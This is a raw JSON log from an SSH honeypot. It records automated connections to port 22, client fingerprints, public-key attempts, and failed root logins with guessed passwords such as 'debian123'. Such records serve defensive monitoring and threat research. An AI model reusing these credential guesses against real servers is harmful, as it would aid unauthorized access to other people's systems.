{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:47.917460Z","src_ip":"147.45.197.250","session":"045cc66a206d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:48.011492Z","src_ip":"147.45.197.250","session":"045cc66a206d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231189","message":"login attempt [root/231189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:48.293328Z","src_ip":"147.45.197.250","session":"045cc66a206d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:49.390323Z","src_ip":"147.45.197.250","session":"045cc66a206d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58176,"dst_ip":"159.203.135.109","dst_port":22,"session":"69fac12d32f9","protocol":"ssh","message":"New connection: 103.98.149.87:58176 (159.203.135.109:22) [session: 69fac12d32f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:10.745081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.102925Z","src_ip":"103.98.149.87","session":"69fac12d32f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.107849Z","src_ip":"103.98.149.87","session":"69fac12d32f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.177.154","src_port":58860,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbfa88146aec","protocol":"ssh","message":"New connection: 198.23.177.154:58860 (10.17.0.5:22) [session: cbfa88146aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.136456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.144944Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.165789Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:4f:3d:6f:b1:12:0a:c2:25:ff:9a:35:0a:bd:6d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/W99f7Q7oNjTboSFMp8bJS+bwirImV0KFzES2k3+na5A2meHFtFjFVJNrlq+c4oVHfo1hElB71OjBayJjJHM6PBB3+V6yAvY4ssmX71gWXkdpKbscalXtPioCr0TKgO8Yg9kf8MjPdaxo4ukVDUL2kO/M35rJuHXiOlu3Boxl6rCloZSmPEIgn1fMIyylStmAsuD8887AzXtkmGljnbEwOI74/n6ohdaUgK2VPiij7w7mYIsvZRHkQ1IcSsdUDkhy0sCTBubEFA7AHOw62SDGCtobBD7KzgnekvdMEd0py+WCyLkwOpKeOGexWeMQIzrVRz0Jx6WxU4+yji3psV0H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:4f:3d:6f:b1:12:0a:c2:25:ff:9a:35:0a:bd:6d:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.248837Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:4f:3d:6f:b1:12:0a:c2:25:ff:9a:35:0a:bd:6d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/W99f7Q7oNjTboSFMp8bJS+bwirImV0KFzES2k3+na5A2meHFtFjFVJNrlq+c4oVHfo1hElB71OjBayJjJHM6PBB3+V6yAvY4ssmX71gWXkdpKbscalXtPioCr0TKgO8Yg9kf8MjPdaxo4ukVDUL2kO/M35rJuHXiOlu3Boxl6rCloZSmPEIgn1fMIyylStmAsuD8887AzXtkmGljnbEwOI74/n6ohdaUgK2VPiij7w7mYIsvZRHkQ1IcSsdUDkhy0sCTBubEFA7AHOw62SDGCtobBD7KzgnekvdMEd0py+WCyLkwOpKeOGexWeMQIzrVRz0Jx6WxU4+yji3psV0H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.254041Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:76:8a:c5:34:24:7e:ed:1f:08:41:6b:58:5c:08:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSNf0twUO7yTGjo+qrzLvfKJBnhsk+ZCimvnDHzibMqAy3fp5lWCEV5T5bGkmbWQCylYaeP6RcNxZeqxqtMZci6fcp+XHaJn7xzVK58yahrTHC6B1IevsfLJF+YSeBJ/yqm/Ue9b4KwvgBTjzn08amwmNL8rmW/CPRudhZfygs1dtY9BXoesb4JyLle5mlUv+QZ+Mfb7Vy8EFHptCJcfckfjW0Y+z1nF3ThIFOWzWDrSOMbnDY9thX07N7ya4+CfZhDZaoE8vd+qeoZ5lyt7Y4DoYmZ211khbyMYO74Gs+QLuTSSPql68uLLTXC3NJHP0VwHP5HeU8N9d7jurgHL5h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:76:8a:c5:34:24:7e:ed:1f:08:41:6b:58:5c:08:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.276743Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:76:8a:c5:34:24:7e:ed:1f:08:41:6b:58:5c:08:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSNf0twUO7yTGjo+qrzLvfKJBnhsk+ZCimvnDHzibMqAy3fp5lWCEV5T5bGkmbWQCylYaeP6RcNxZeqxqtMZci6fcp+XHaJn7xzVK58yahrTHC6B1IevsfLJF+YSeBJ/yqm/Ue9b4KwvgBTjzn08amwmNL8rmW/CPRudhZfygs1dtY9BXoesb4JyLle5mlUv+QZ+Mfb7Vy8EFHptCJcfckfjW0Y+z1nF3ThIFOWzWDrSOMbnDY9thX07N7ya4+CfZhDZaoE8vd+qeoZ5lyt7Y4DoYmZ211khbyMYO74Gs+QLuTSSPql68uLLTXC3NJHP0VwHP5HeU8N9d7jurgHL5h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.281308Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:ea:f7:63:41:af:25:a1:3d:9f:bf:5e:4b:12:1e:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCY0HCA5bXAXgz+Xh7rCWYCv0hHC5oscHcfEFaBLC/iqTpZ9wBeFqq6gr9ahcZp3KYMiRRxLS9EdzpWXXQkH+4EPWwT+dThI8/1jdsSz4OPmPt3q5pb8z9CgAKyE0x9J8gqmr1OO/gtIkXvfHDS9v3+D6kcx4xIoVM3WxNqn8E9+DlS2LAh71tE0s4nUVIXsZOneRrP6slysmDKrrgbNU3BAeakaj+9X+6v+SY3sXQYoIZ+5hZ4x9EFt5UefjE1/sEuFqSx5Bv+n1iK4cY4zf/S4rFB2x0oU6F9Z4eMs+5sh6Vzke+wDmEVT4zgadJRNScfIsaESKrmzpsHa3+9+F5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:ea:f7:63:41:af:25:a1:3d:9f:bf:5e:4b:12:1e:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.303397Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:ea:f7:63:41:af:25:a1:3d:9f:bf:5e:4b:12:1e:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCY0HCA5bXAXgz+Xh7rCWYCv0hHC5oscHcfEFaBLC/iqTpZ9wBeFqq6gr9ahcZp3KYMiRRxLS9EdzpWXXQkH+4EPWwT+dThI8/1jdsSz4OPmPt3q5pb8z9CgAKyE0x9J8gqmr1OO/gtIkXvfHDS9v3+D6kcx4xIoVM3WxNqn8E9+DlS2LAh71tE0s4nUVIXsZOneRrP6slysmDKrrgbNU3BAeakaj+9X+6v+SY3sXQYoIZ+5hZ4x9EFt5UefjE1/sEuFqSx5Bv+n1iK4cY4zf/S4rFB2x0oU6F9Z4eMs+5sh6Vzke+wDmEVT4zgadJRNScfIsaESKrmzpsHa3+9+F5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.307288Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:6e:3e:55:d6:15:ff:64:1c:e4:a4:31:ce:2a:10:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVH59ROJkoUDZ6+W/nhxsqAk+zPT7oiAe1LOCs1Cjo4szVOwgER3KvS4GCD7dN8ZWcxADPqdc2ZTOPMZaD46YJRYhN4nykQE/sxNj/zRGw9xVkguH6mf+bcs/b6t8RFnRr49oIvYxzrTE/n3pdrFrQNIFloyP3MZi7qXl/T9IBYKETfP771vjZldC//cw3XLunLX2ZGnyVtv8i1kqC65Bx/WO3wdAK8WQbRua8uv/S9cwxXoj0iU6WZdLhUcf0c3DJ83WRJVsYjCSVPTv5nXjzSgmwAC91lwi1EzLezA0UXFq3zb+pKD9FljjubddoH7TavDkBAba2h7w8qiZHZWzt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:6e:3e:55:d6:15:ff:64:1c:e4:a4:31:ce:2a:10:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.330605Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:6e:3e:55:d6:15:ff:64:1c:e4:a4:31:ce:2a:10:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVH59ROJkoUDZ6+W/nhxsqAk+zPT7oiAe1LOCs1Cjo4szVOwgER3KvS4GCD7dN8ZWcxADPqdc2ZTOPMZaD46YJRYhN4nykQE/sxNj/zRGw9xVkguH6mf+bcs/b6t8RFnRr49oIvYxzrTE/n3pdrFrQNIFloyP3MZi7qXl/T9IBYKETfP771vjZldC//cw3XLunLX2ZGnyVtv8i1kqC65Bx/WO3wdAK8WQbRua8uv/S9cwxXoj0iU6WZdLhUcf0c3DJ83WRJVsYjCSVPTv5nXjzSgmwAC91lwi1EzLezA0UXFq3zb+pKD9FljjubddoH7TavDkBAba2h7w8qiZHZWzt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.335209Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:ea:76:a5:d0:d9:f1:ac:ee:35:9a:4c:02:e7:49:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0BHuGaIv0QATpFbnakTShPw4PgNnZ13g8r96nJWEV/yF4qBQNNXNELCvatuTRh2FZebrqEoX9xnVhUmxrzNetOTtmQYd/tqgoopJ3K3WWdUmay5c8OR4557KMyrzeg2zYNdc9Z0upsd/PdHiKhvQSGuU+lrU+SNLRVukQ7bYQbYE8iwTNbkrPFIXJSR3sVgBnIXa3m3Fdrn/jUDIO5DHMF1yilYURVY5LwPzFegbKGytYMQpEKyma0Uup/1l5DD7/FZDvoS6et7U1hVcWjpu66v/yZTQG4p71G7Lvmiit4JKLO6l3bVvChXxiMDlNMcKloPmyFhlo2ACST5/duEPz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:ea:76:a5:d0:d9:f1:ac:ee:35:9a:4c:02:e7:49:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.356687Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:ea:76:a5:d0:d9:f1:ac:ee:35:9a:4c:02:e7:49:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0BHuGaIv0QATpFbnakTShPw4PgNnZ13g8r96nJWEV/yF4qBQNNXNELCvatuTRh2FZebrqEoX9xnVhUmxrzNetOTtmQYd/tqgoopJ3K3WWdUmay5c8OR4557KMyrzeg2zYNdc9Z0upsd/PdHiKhvQSGuU+lrU+SNLRVukQ7bYQbYE8iwTNbkrPFIXJSR3sVgBnIXa3m3Fdrn/jUDIO5DHMF1yilYURVY5LwPzFegbKGytYMQpEKyma0Uup/1l5DD7/FZDvoS6et7U1hVcWjpu66v/yZTQG4p71G7Lvmiit4JKLO6l3bVvChXxiMDlNMcKloPmyFhlo2ACST5/duEPz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.360289Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:11.382306Z","src_ip":"198.23.177.154","session":"cbfa88146aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karatel1","message":"login attempt [root/karatel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:12.578543Z","src_ip":"103.98.149.87","session":"69fac12d32f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"5042701ef1c6","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 5042701ef1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:13.336661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:13.341736Z","src_ip":"23.97.62.150","session":"5042701ef1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:13.577646Z","src_ip":"23.97.62.150","session":"5042701ef1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:14.052493Z","src_ip":"103.98.149.87","session":"69fac12d32f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:14.283679Z","src_ip":"23.97.62.150","session":"5042701ef1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:15.521793Z","src_ip":"23.97.62.150","session":"5042701ef1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.199.52.47","src_port":58884,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a8c206a9259","protocol":"ssh","message":"New connection: 213.199.52.47:58884 (10.17.0.5:22) [session: 4a8c206a9259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:27.200320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:27.218962Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:27.322964Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
